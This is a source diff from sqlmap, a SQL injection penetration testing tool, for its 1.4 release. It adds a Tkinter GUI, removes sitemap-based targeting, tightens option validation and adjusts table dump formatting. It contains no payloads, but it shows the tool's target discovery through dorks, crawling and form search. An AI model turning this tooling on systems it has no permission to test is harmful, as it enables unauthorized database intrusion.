maxlength = max(maxlength, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table))))
lines = "-" * (int(maxlength) + 2)
@@ -266,7 +260,7 @@ class Dump(object):
table = table[0]
table = unsafeSQLIdentificatorNaming(table)
blank = " " * (maxlength - len(normalizeUnicode(table) or getUnicode(table)))
blank = " " * (maxlength - getConsoleLength(getUnicode(table)))
self._write("| %s%s |" % (table, blank))
self._write("+%s+\n" % lines)
@@ -279,7 +273,6 @@ class Dump(object):
if isinstance(tableColumns, dict) and len(tableColumns) > 0:
if conf.api:
self._write(tableColumns, content_type=content_type)
return
for db, tables in tableColumns.items():
if not db:
@@ -353,7 +346,6 @@ class Dump(object):
if isinstance(dbTables, dict) and len(dbTables) > 0:
if conf.api:
self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
return
maxlength1 = len("Table")
maxlength2 = len("Entries")
@@ -361,7 +353,7 @@ class Dump(object):
for ctables in dbTables.values():
for tables in ctables.values():
for table in tables:
maxlength1 = max(maxlength1, len(normalizeUnicode(table) or getUnicode(table)))
maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table)))
for db, counts in dbTables.items():
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
@@ -387,7 +379,7 @@ class Dump(object):
tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
for table in tables:
blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or getUnicode(table)))
blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table)))
blank2 = " " * (maxlength2 - len(str(count)))
self._write("| %s%s | %d%s |" % (table, blank1, count, blank2))
@@ -412,7 +404,6 @@ class Dump(object):
if conf.api:
self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
return
dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
@@ -547,7 +538,7 @@ class Dump(object):
column = unsafeSQLIdentificatorNaming(column)
maxlength = int(info["length"])
blank = " " * (maxlength - len(column))
blank = " " * (maxlength - getConsoleLength(column))
self._write("| %s%s" % (column, blank), newline=False)
@@ -558,7 +549,7 @@ class Dump(object):
else:
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
elif conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(cgi.escape(column).encode("ascii", "xmlcharrefreplace")))
dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))
field += 1
@@ -602,7 +593,7 @@ class Dump(object):
values.append(value)
maxlength = int(info["length"])
blank = " " * (maxlength - len(value))
blank = " " * (maxlength - getConsoleLength(value))
self._write("| %s%s" % (value, blank), newline=False, console=console)
if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
@@ -630,7 +621,7 @@ class Dump(object):
else:
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
elif conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(cgi.escape(value).encode("ascii", "xmlcharrefreplace")))
dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
field += 1
@@ -668,7 +659,6 @@ class Dump(object):
def dbColumns(self, dbColumnsDict, colConsider, dbs):
if conf.api:
self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
return
for column in dbColumnsDict.keys():
if colConsider == "1":
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+274
View File
@@ -0,0 +1,274 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import os
import re
import socket
import subprocess
import sys
import tempfile
import threading
import webbrowser
from lib.core.common import getSafeExString
from lib.core.common import saveConfig
from lib.core.data import paths
from lib.core.defaults import defaults
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.exception import SqlmapMissingDependence
from lib.core.settings import DEV_EMAIL_ADDRESS
from lib.core.settings import IS_WIN
from lib.core.settings import ISSUES_PAGE
from lib.core.settings import GIT_PAGE
from lib.core.settings import SITE
from lib.core.settings import VERSION_STRING
from lib.core.settings import WIKI_PAGE
from thirdparty.six.moves import queue as _queue
line = ""
process = None
queue = None
def runGui(parser):
try:
from thirdparty.six.moves import tkinter as _tkinter
from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext
from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk
from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox
except ImportError as ex:
raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex))
# Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x
class ConstrainedEntry(_tkinter.Entry):
def __init__(self, master=None, **kwargs):
self.var = _tkinter.StringVar()
self.regex = kwargs["regex"]
del kwargs["regex"]
_tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs)
self.old_value = ''
self.var.trace('w', self.check)
self.get, self.set = self.var.get, self.var.set
def check(self, *args):
if re.search(self.regex, self.get()):
self.old_value = self.get()
else:
self.set(self.old_value)
# Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/
class AutoresizableNotebook(_tkinter_ttk.Notebook):
def __init__(self, master=None, **kw):
_tkinter_ttk.Notebook.__init__(self, master, **kw)
self.bind("<<NotebookTabChanged>>", self._on_tab_changed)
def _on_tab_changed(self, event):
event.widget.update_idletasks()
tab = event.widget.nametowidget(event.widget.select())
event.widget.configure(height=tab.winfo_reqheight())
window = _tkinter.Tk()
window.title(VERSION_STRING)
# Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
style = _tkinter_ttk.Style()
settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e"}, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}}
style.theme_create("custom", parent="alt", settings=settings)
style.theme_use("custom")
# Reference: https://stackoverflow.com/a/10018670
def center(window):
window.update_idletasks()
width = window.winfo_width()
frm_width = window.winfo_rootx() - window.winfo_x()
win_width = width + 2 * frm_width
height = window.winfo_height()
titlebar_height = window.winfo_rooty() - window.winfo_y()
win_height = height + titlebar_height + frm_width
x = window.winfo_screenwidth() // 2 - win_width // 2
y = window.winfo_screenheight() // 2 - win_height // 2
window.geometry('{}x{}+{}+{}'.format(width, height, x, y))
window.deiconify()
def onKeyPress(event):
global line
global queue
if process:
if event.char == '\b':
line = line[:-1]
else:
line += event.char
def onReturnPress(event):
global line
global queue
if process:
try:
process.stdin.write(("%s\n" % line.strip()).encode())
process.stdin.flush()
except socket.error:
line = ""
event.widget.master.master.destroy()
return "break"
except:
return
event.widget.insert(_tkinter.END, "\n")
return "break"
def run():
global alive
global process
global queue
config = {}
for key in window._widgets:
dest, type = key
widget = window._widgets[key]
if hasattr(widget, "get") and not widget.get():
value = None
elif type == "string":
value = widget.get()
elif type == "float":
value = float(widget.get())
elif type == "int":
value = int(widget.get())
else:
value = bool(widget.var.get())
config[dest] = value
for option in parser.option_list:
config[option.dest] = defaults.get(option.dest, None)
handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True)
os.close(handle)
saveConfig(config, configFile)
def enqueue(stream, queue):
global alive
for line in iter(stream.readline, b''):
queue.put(line)
alive = False
stream.close()
alive = True
process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN)
# Reference: https://stackoverflow.com/a/4896288
queue = _queue.Queue()
thread = threading.Thread(target=enqueue, args=(process.stdout, queue))
thread.daemon = True
thread.start()
top = _tkinter.Toplevel()
top.title("Console")
# Reference: https://stackoverflow.com/a/13833338
text = _tkinter_scrolledtext.ScrolledText(top, undo=True)
text.bind("<Key>", onKeyPress)
text.bind("<Return>", onReturnPress)
text.pack()
text.focus()
center(top)
while alive:
line = ""
try:
# line = queue.get_nowait()
line = queue.get(timeout=.1)
text.insert(_tkinter.END, line)
except _queue.Empty:
text.see(_tkinter.END)
text.update_idletasks()
menubar = _tkinter.Menu(window)
filemenu = _tkinter.Menu(menubar, tearoff=0)
filemenu.add_command(label="Open", state=_tkinter.DISABLED)
filemenu.add_command(label="Save", state=_tkinter.DISABLED)
filemenu.add_separator()
filemenu.add_command(label="Exit", command=window.quit)
menubar.add_cascade(label="File", menu=filemenu)
menubar.add_command(label="Run", command=run)
helpmenu = _tkinter.Menu(menubar, tearoff=0)
helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE))
helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE))
helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
helpmenu.add_separator()
helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2020\n\n (%s)" % DEV_EMAIL_ADDRESS))
menubar.add_cascade(label="Help", menu=helpmenu)
window.config(menu=menubar)
window._widgets = {}
notebook = AutoresizableNotebook(window)
first = None
frames = {}
for group in parser.option_groups:
frame = frames[group.title] = _tkinter.Frame(notebook, width=200, height=200)
notebook.add(frames[group.title], text=group.title)
_tkinter.Label(frame).grid(column=0, row=0, sticky=_tkinter.W)
row = 1
if group.get_description():
_tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=_tkinter.W)
_tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W)
row += 2
for option in group.option_list:
_tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=_tkinter.W)
if option.type == "string":
widget = _tkinter.Entry(frame)
elif option.type == "float":
widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z")
elif option.type == "int":
widget = ConstrainedEntry(frame, regex=r"\A\d*\Z")
else:
var = _tkinter.IntVar()
widget = _tkinter.Checkbutton(frame, variable=var)
widget.var = var
first = first or widget
widget.grid(column=1, row=row, sticky=_tkinter.W)
window._widgets[(option.dest, option.type)] = widget
default = defaults.get(option.dest)
if default:
if hasattr(widget, "insert"):
widget.insert(0, default)
_tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=_tkinter.W)
row += 1
_tkinter.Label(frame).grid(column=0, row=row, sticky=_tkinter.W)
notebook.pack(expand=1, fill="both")
notebook.enable_traversal()
first.focus()
window.mainloop()
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+92 -70
View File
@@ -1,12 +1,13 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import codecs
import functools
import glob
import inspect
@@ -98,6 +99,7 @@ from lib.core.exception import SqlmapSyntaxException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.core.exception import SqlmapUserQuitException
from lib.core.exception import SqlmapValueException
from lib.core.log import FORMATTER
from lib.core.optiondict import optDict
from lib.core.settings import CODECS_LIST_PAGE
@@ -109,6 +111,7 @@ from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
from lib.core.settings import DEFAULT_USER_AGENT
from lib.core.settings import DUMMY_URL
from lib.core.settings import IGNORE_CODE_WILDCARD
from lib.core.settings import IS_WIN
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -132,7 +135,6 @@ from lib.core.update import update
from lib.parse.configfile import configFileParser
from lib.parse.payloads import loadBoundaries
from lib.parse.payloads import loadPayloads
from lib.parse.sitemap import parseSitemap
from lib.request.basic import checkCharEncoding
from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
from lib.request.chunkedhandler import ChunkedHandler
@@ -314,7 +316,7 @@ def _setRequestFromFile():
if url is None:
errMsg = "specified file '%s' " % requestFile
errMsg += "does not contain a valid HTTP request"
errMsg += "does not contain a usable HTTP request (with parameters)"
raise SqlmapDataException(errMsg)
if conf.secondReq:
@@ -335,25 +337,12 @@ def _setCrawler():
if not conf.crawlDepth:
return
if not any((conf.bulkFile, conf.sitemapUrl)):
crawl(conf.url)
else:
if conf.bulkFile:
targets = getFileItems(conf.bulkFile)
else:
targets = list(parseSitemap(conf.sitemapUrl))
for i in xrange(len(targets)):
try:
target = targets[i]
crawl(target)
if conf.verbose in (1, 2):
status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets)))
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True)
except Exception as ex:
errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, getSafeExString(ex))
logger.error(errMsg)
if not conf.bulkFile:
if conf.url:
crawl(conf.url)
elif conf.requestFile and kb.targets:
target = list(kb.targets)[0]
crawl(target[0], target[2], target[3])
def _doSearch():
"""
@@ -391,7 +380,7 @@ def _doSearch():
links = retrieve()
if kb.targets:
infoMsg = "sqlmap got %d results for your " % len(links)
infoMsg = "found %d results for your " % len(links)
infoMsg += "search dork expression, "
if len(links) == len(kb.targets):
@@ -404,7 +393,7 @@ def _doSearch():
break
else:
message = "sqlmap got %d results " % len(links)
message = "found %d results " % len(links)
message += "for your search dork expression, but none of them "
message += "have GET parameters to test for SQL injection. "
message += "Do you want to skip to the next result page? [Y/n]"
@@ -438,23 +427,6 @@ def _setBulkMultipleTargets():
warnMsg = "no usable links found (with GET parameters)"
logger.warn(warnMsg)
def _setSitemapTargets():
if not conf.sitemapUrl:
return
infoMsg = "parsing sitemap '%s'" % conf.sitemapUrl
logger.info(infoMsg)
found = False
for item in parseSitemap(conf.sitemapUrl):
if re.match(r"[^ ]+\?(.+)", item, re.I):
found = True
kb.targets.add((item.strip(), None, None, None, None))
if not found and not conf.forms and not conf.crawlDepth:
warnMsg = "no usable links found (with GET parameters)"
logger.warn(warnMsg)
def _findPageForms():
if not conf.forms or conf.crawlDepth:
return
@@ -466,15 +438,13 @@ def _findPageForms():
infoMsg = "searching for forms"
logger.info(infoMsg)
if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)):
page, _, _ = Request.queryPage(content=True)
if not any((conf.bulkFile, conf.googleDork)):
page, _, _ = Request.queryPage(content=True, ignoreSecondOrder=True)
if findPageForms(page, conf.url, True, True):
found = True
else:
if conf.bulkFile:
targets = getFileItems(conf.bulkFile)
elif conf.sitemapUrl:
targets = list(parseSitemap(conf.sitemapUrl))
elif conf.googleDork:
targets = [_[0] for _ in kb.targets]
kb.targets.clear()
@@ -483,7 +453,11 @@ def _findPageForms():
for i in xrange(len(targets)):
try:
target = targets[i]
target = targets[i].strip()
if not re.search(r"(?i)\Ahttp[s]*://", target):
target = "http://%s" % target
page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False)
if findPageForms(page, target, False, True):
found = True
@@ -1021,7 +995,7 @@ def _setHTTPHandlers():
errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
raise SqlmapSyntaxException(errMsg)
hostnamePort = _.netloc.split(":")
hostnamePort = _.netloc.rsplit(":", 1)
scheme = _.scheme.upper()
hostname = hostnamePort[0]
@@ -1158,11 +1132,11 @@ def _setSafeVisit():
errMsg = "invalid format of a safe request file"
raise SqlmapSyntaxException(errMsg)
else:
if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
if not re.search(r"(?i)\Ahttp[s]*://", conf.safeUrl):
if ":443/" in conf.safeUrl:
conf.safeUrl = "https://" + conf.safeUrl
conf.safeUrl = "https://%s" % conf.safeUrl
else:
conf.safeUrl = "http://" + conf.safeUrl
conf.safeUrl = "http://%s" % conf.safeUrl
if (conf.safeFreq or 0) <= 0:
errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
@@ -1227,7 +1201,7 @@ def _setHTTPAuthentication():
elif not conf.authType and conf.authCred:
errMsg = "you specified the HTTP authentication credentials, "
errMsg += "but did not provide the type"
errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")"
raise SqlmapSyntaxException(errMsg)
elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI):
@@ -1446,7 +1420,10 @@ def _setHTTPTimeout():
else:
conf.timeout = 30.0
socket.setdefaulttimeout(conf.timeout)
try:
socket.setdefaulttimeout(conf.timeout)
except OverflowError as ex:
raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex))
def _checkDependencies():
"""
@@ -1548,6 +1525,13 @@ def _cleanupOptions():
Cleanup configuration attributes.
"""
if conf.encoding:
try:
codecs.lookup(conf.encoding)
except LookupError:
errMsg = "unknown encoding '%s'" % conf.encoding
raise SqlmapValueException(errMsg)
debugMsg = "cleaning up configuration parameters"
logger.debug(debugMsg)
@@ -1569,11 +1553,14 @@ def _cleanupOptions():
conf.testParameter = []
if conf.ignoreCode:
try:
conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
except ValueError:
errMsg = "options '--ignore-code' should contain a list of integer values"
raise SqlmapSyntaxException(errMsg)
if conf.ignoreCode == IGNORE_CODE_WILDCARD:
conf.ignoreCode = xrange(0, 1000)
else:
try:
conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
except ValueError:
errMsg = "options '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD
raise SqlmapSyntaxException(errMsg)
else:
conf.ignoreCode = []
@@ -1641,16 +1628,13 @@ def _cleanupOptions():
if conf.fileDest:
conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
if conf.msfPath:
conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath))
if conf.tmpPath:
conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.forms, conf.crawlDepth)):
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth)):
conf.multipleTargets = True
if conf.optimize:
@@ -1758,10 +1742,22 @@ def _cleanupOptions():
conf.col = re.sub(r"\s*,\s*", ',', conf.col)
if conf.exclude:
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
regex = False
if any(_ in conf.exclude for _ in ('+', '*')):
try:
re.compile(conf.exclude)
except re.error:
pass
else:
regex = True
if not regex:
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
if conf.binaryFields:
conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
conf.binaryFields = conf.binaryFields.replace(" ", "")
conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
if any((conf.proxy, conf.proxyFile, conf.tor)):
conf.disablePrecon = True
@@ -1821,7 +1817,6 @@ def _setConfAttributes():
conf.path = None
conf.port = None
conf.proxyList = None
conf.resultsFilename = None
conf.resultsFP = None
conf.scheme = None
conf.tests = []
@@ -1889,6 +1884,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
kb.dep = None
kb.disableHtmlDecoding = False
kb.dnsMode = False
kb.dnsTest = None
kb.docRoot = None
@@ -1931,6 +1927,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.injections = []
kb.laggingChecked = False
kb.lastParserStatus = None
kb.lastCtrlCTime = None
kb.locks = AttribDict()
for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
@@ -1994,7 +1991,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.reduceTests = None
kb.tlsSNI = {}
kb.stickyDBMS = False
kb.storeCrawlingChoice = None
kb.storeHashesChoice = None
kb.suppressResumeInfo = False
kb.tableFrom = None
@@ -2008,16 +2004,21 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.threadException = False
kb.tableExistsChoice = None
kb.uChar = NULL
kb.udfFail = False
kb.unionDuplicates = False
kb.webSocketRecvCount = None
kb.wizardMode = False
kb.xpCmdshellAvailable = False
if flushAll:
kb.checkSitemap = None
kb.headerPaths = {}
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
kb.normalizeCrawlingChoice = None
kb.passwordMgr = None
kb.preprocessFunctions = []
kb.skipVulnHost = None
kb.storeCrawlingChoice = None
kb.tamperFunctions = []
kb.targets = OrderedSet()
kb.testedParams = set()
@@ -2206,6 +2207,13 @@ def _mergeOptions(inputOptions, overrideOptions):
if hasattr(conf, key) and conf[key] is None:
conf[key] = value
if conf.unstable:
if key in ("timeSec", "retries", "timeout"):
conf[key] *= 2
if conf.unstable:
conf.forcePartial = True
lut = {}
for group in optDict.keys():
lut.update((_.upper(), _) for _ in optDict[group])
@@ -2458,6 +2466,10 @@ def _basicOptionValidation():
errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex))
raise SqlmapSyntaxException(errMsg)
if conf.cookieDel and len(conf.cookieDel):
errMsg = "option '--cookie-del' should contain a single character (e.g. ';')"
raise SqlmapSyntaxException(errMsg)
if conf.crawlExclude:
try:
re.compile(conf.crawlExclude)
@@ -2465,6 +2477,13 @@ def _basicOptionValidation():
errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex))
raise SqlmapSyntaxException(errMsg)
if conf.scope:
try:
re.compile(conf.scope)
except Exception as ex:
errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex))
raise SqlmapSyntaxException(errMsg)
if conf.dumpTable and conf.dumpAll:
errMsg = "switch '--dump' is incompatible with switch '--dump-all'"
raise SqlmapSyntaxException(errMsg)
@@ -2477,8 +2496,8 @@ def _basicOptionValidation():
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
raise SqlmapSyntaxException(errMsg)
if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)):
errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'"
if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)):
errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'"
raise SqlmapSyntaxException(errMsg)
if conf.crawlExclude and not conf.crawlDepth:
@@ -2571,6 +2590,10 @@ def _basicOptionValidation():
errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'"
raise SqlmapSyntaxException(errMsg)
if conf.alert and conf.alert.startswith('-'):
errMsg = "value for option '--alert' must be valid operating system command(s)"
raise SqlmapSyntaxException(errMsg)
if conf.timeSec < 1:
errMsg = "value for option '--time-sec' must be a positive integer"
raise SqlmapSyntaxException(errMsg)
@@ -2579,7 +2602,7 @@ def _basicOptionValidation():
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
raise SqlmapSyntaxException(errMsg)
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.sitemapUrl, conf.listTampers)):
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
errMsg = "option '--crack' should be used as a standalone"
raise SqlmapSyntaxException(errMsg)
@@ -2646,7 +2669,7 @@ def init():
parseTargetDirect()
if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)):
_setHostname()
_setHTTPTimeout()
_setHTTPExtraHeaders()
@@ -2661,7 +2684,6 @@ def init():
_setSafeVisit()
_doSearch()
_setBulkMultipleTargets()
_setSitemapTargets()
_checkTor()
_setCrawler()
_findPageForms()
+4 -3
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -19,7 +19,6 @@ optDict = {
"sessionFile": "string",
"googleDork": "string",
"configFile": "string",
"sitemapUrl": "string",
},
"Request": {
@@ -238,9 +237,11 @@ optDict = {
"listTampers": "boolean",
"offline": "boolean",
"purge": "boolean",
"resultsFile": "string",
"tmpDir": "string",
"wizard": "boolean",
"unstable": "boolean",
"updateAll": "boolean",
"wizard": "boolean",
"verbose": "integer",
},
+3 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -20,6 +20,7 @@ import thirdparty.chardet.universaldetector
from lib.core.common import filterNone
from lib.core.common import getSafeExString
from lib.core.common import isDigit
from lib.core.common import isListLike
from lib.core.common import readInput
from lib.core.common import shellExec
@@ -62,6 +63,7 @@ def resolveCrossReferences():
Place for cross-reference resolution
"""
lib.core.threads.isDigit = isDigit
lib.core.threads.readInput = readInput
lib.core.common.getPageTemplate = getPageTemplate
lib.core.convert.filterNone = filterNone
+3 -3
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -27,7 +27,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
import pydot
except ImportError as ex:
errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(ex)
errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')"
errMsg += "(Hint: 'sudo apt install python-pydot python-pyparsing python-profiler graphviz')"
logger.error(errMsg)
return
@@ -84,7 +84,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
pydotGraph.write_png(imageOutputFile)
except OSError:
errMsg = "profiling requires graphviz installed "
errMsg += "(Hint: 'sudo apt-get install graphviz')"
errMsg += "(Hint: 'sudo apt install graphviz')"
logger.error(errMsg)
else:
infoMsg = "displaying interactive graph with xdot library"
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+8 -3
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -40,9 +40,14 @@ def getRevisionNumber():
with openFile(filePath, "r") as f:
content = getText(f.read())
filePath = None
if content.startswith("ref: "):
filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
else:
try:
filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
except UnicodeError:
pass
if filePath is None:
match = re.match(r"(?i)[0-9a-f]{32}", content)
retVal = match.group(0) if match else None
break
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+19 -6
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -18,7 +18,7 @@ from lib.core.enums import OS
from thirdparty.six import unichr as _unichr
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.3.10.0"
VERSION = "1.4"
